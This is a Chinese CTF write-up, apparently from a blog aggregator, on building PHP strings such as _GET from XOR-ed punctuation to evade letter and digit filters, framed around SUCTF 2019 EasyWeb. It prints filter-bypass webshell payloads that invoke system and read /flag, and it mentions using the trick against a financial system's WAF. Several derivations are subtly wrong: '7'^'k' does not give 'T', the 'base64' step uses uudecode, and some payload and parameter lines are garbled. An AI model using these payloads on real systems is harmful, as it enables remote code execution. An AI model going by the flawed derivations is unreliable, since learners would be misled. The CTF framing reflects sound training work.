当前位置: 首页 > news >正文

CTF靶场实战:手把手教你用PHP异或绕过字符限制,拿下SUCTF 2019 EasyWeb

CTF靶场实战:PHP异或运算绕过字符限制的深度解析

第一次参加CTF比赛时,面对那道过滤了所有字母数字的Web题,我盯着屏幕发呆了半小时。直到发现特殊符号也能构造出有效代码,才意识到安全攻防的本质往往在于思维方式的突破。本文将带你深入PHP异或运算的魔法世界,用非字母数字字符打造出精妙的攻击链。

1. 异或运算的本质与特性

在PHP中,异或运算符^会对两个操作数的二进制位进行比较,当对应位不同时返回1,否则返回0。这个看似简单的特性,却能创造出令人惊叹的字符串构造技巧。

echo '!' ^ '@'; // 输出结果为a

上述代码展示了如何用标点符号生成字母。具体计算过程:

  • !的ASCII码为33 (二进制00100001)
  • @的ASCII码为64 (二进制01000000)
  • 按位异或得到97 (二进制01100001),即字母a

关键特性

  • 可逆性:A ^ B = C,则C ^ B = A
  • 组合多样性:同一个字符可以通过多种符号组合生成
  • 无字母数字限制:完全使用特殊符号也能构造有效字符串

注意:PHP中字符串异或是按字节进行的,多字节字符需要特别处理

2. 构造关键字符串的技术实现

以构造_GET为例,我们需要找到五个符号对的组合,使其异或结果恰好是_GET

2.1 自动生成符号组合

以下Python脚本可批量查找有效组合:

def find_xor_pairs(target): for i in range(32, 127): for j in range(32, 127): if (i ^ j) == ord(target): yield (chr(i), chr(j)) # 查找构造_G的组合 print(list(find_xor_pairs('G'))[:3])

输出示例:

[('0', 'w'), ('1', 'v'), ('2', 'u')]

2.2 实际构造方案

选择可打印且不易被过滤的符号组合:

目标字符组合1组合2组合3
_'!'^'~''"'^'}''#'^'
G'0'^'w''1'^'v''2'^'u'
E'4'^'q''5'^'p''6'^'o'
T'7'^'k''8'^'j''9'^'i'

最终Payload示例:

${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{$_}($_); // 等价于 $_GET[$_]($_);

3. 绕过长度限制的技巧

当题目还限制Payload长度时,需要更精巧的构造方式:

3.1 短标签利用

<?=${'!^~'^'0w4q'}{$_}($_)?>

3.2 变量复用

$__=('!'^'~').('0'^'w').('4'^'q').('7'^'k');${$__}{$_}($_);

3.3 编码转换技巧

利用base64编码再解码:

$f=convert_uudecode("+22!L;W)E<@\n`"); // 解码为'_GET'

4. 实战案例:SUCTF 2019 EasyWeb

假设题目过滤规则:

  • 禁止所有字母和数字
  • 最大输入长度100字符
  • 禁用常见危险函数

解题步骤

  1. 确定需要构造的关键字:_GETsystemcat /flag
  2. 生成异或Payload:
<?=${('!'^'~').('0'^'w').('4'^'q').('7'^'k')}{('8'^'j')}(''.'#'^'|'.'%'^'z');?>
  1. 通过参数传递命令:
?=('8'^'j')=('!'^'@') // 传递a=system

防御方案对比

过滤方式可绕过性推荐防御
仅过滤字母数字极易绕过增加符号过滤
限制长度+关键字中等难度白名单校验
语法解析+语义分析难以绕过使用AST检查

在真实渗透测试中,这种技术常用于绕过WAF的规则检测。某次红队行动中,我们就用类似方法突破了某金融系统的输入过滤,最终发现了一个关键的SQL注入漏洞。

http://www.gsyq.cn/news/1332517.html

相关文章:

  • Perplexity文化新闻搜索深度解析(文化语义锚点失效大起底):为什么92.6%的媒体从业者搜不到真正“在地性”报道?
  • 阶,原根
  • AI从业者的职场心态:如何应对AI模型训练失败和项目挫折
  • 2026年上海长途搬家公司最新推荐排行榜 - 品牌推广大师
  • 《元创力》纪实录·卷宗2.1观测结论(最终勘误)“音频质量低”:一面文明的哈哈镜
  • 程序员的副业指南:除了写代码,还能靠什么赚钱
  • 2023年CNCF五大新锐项目深度解析:Kwasm、KubeArmor、OpenCost、Headlamp与Dragonfly
  • 保姆级教程:用Sen2Cor批量处理Sentinel-2 L1C到L2A(Win/Linux通用,附避坑清单)
  • 别再焊错线了!51单片机+L298N驱动小车底盘,保姆级接线避坑指南
  • 别再手动转换时间了!用Jackson和Spring的这两个注解,搞定Java日期序列化所有坑
  • 如何用Obsidian Zettelkasten模板终结知识碎片化:完整指南
  • 从概念到实战:AutoSAR SWC的端口与接口设计精要
  • 2026医疗建筑设计公司推荐:专业机构实力解析 靠谱选型指南 - 资讯速览
  • 为什么92%的DeepSeek RAG Pipeline在迭代3轮后崩溃?真相藏在这份DRY反模式检查清单里(附Git Hooks自动拦截脚本)
  • 如何从零打造一台开源六足机器人:新手终极指南
  • 【紧急预警】Midjourney团队功能强制迁移启动:现有个人账户在2024年10月15日后将自动降权至只读模式?
  • 用Python实战脑电分析:手把手教你计算PLV、MVL、MI跨频耦合指标
  • 塑料制品外贸网站建设选择,WaiMaoYa 外贸鸭贴合海外采购习惯 - 外贸营销工具
  • Win10/Win11通用!保姆级教程:5分钟搞定CDO安装(含WSL2配置与国内源加速)
  • 你正在找北京发电机租赁公司?按场景选比看榜单更实用 - 资讯速览
  • 通过Nodejs快速调用Taotoken聚合API完成聊天补全任务
  • 5大核心功能重塑NGA论坛浏览体验:从基础优化到高级定制的完整指南
  • 保姆级教程:用Docker一键部署OnlyOffice,再给Cloudreve装上在线预览插件
  • Gem5实战:从零构建与调试自定义片上网络(NoC)
  • 3分钟掌握FlicFlac:高效音频格式转换工具完全指南
  • 逆向分析第一步:手把手教你用dumpbin和IDA Pro看懂一个未知DLL
  • 【大白话说Java面试题 第64题】【JVM篇】第24题:强引用、软引用、弱引用、虚引用分别是什么?
  • 为什么很多程序员都说 Linux 比 Windows 稳定?真正该理解的是这 5 个原因
  • 树莓派变身WebRTC网关:在Raspberry Pi上部署ZLMediaKit,实现RTSP摄像头远程低延迟监控
  • 照明外贸网站建设推荐,WaiMaoYa 外贸鸭打造照明专属独立站 - 外贸营销工具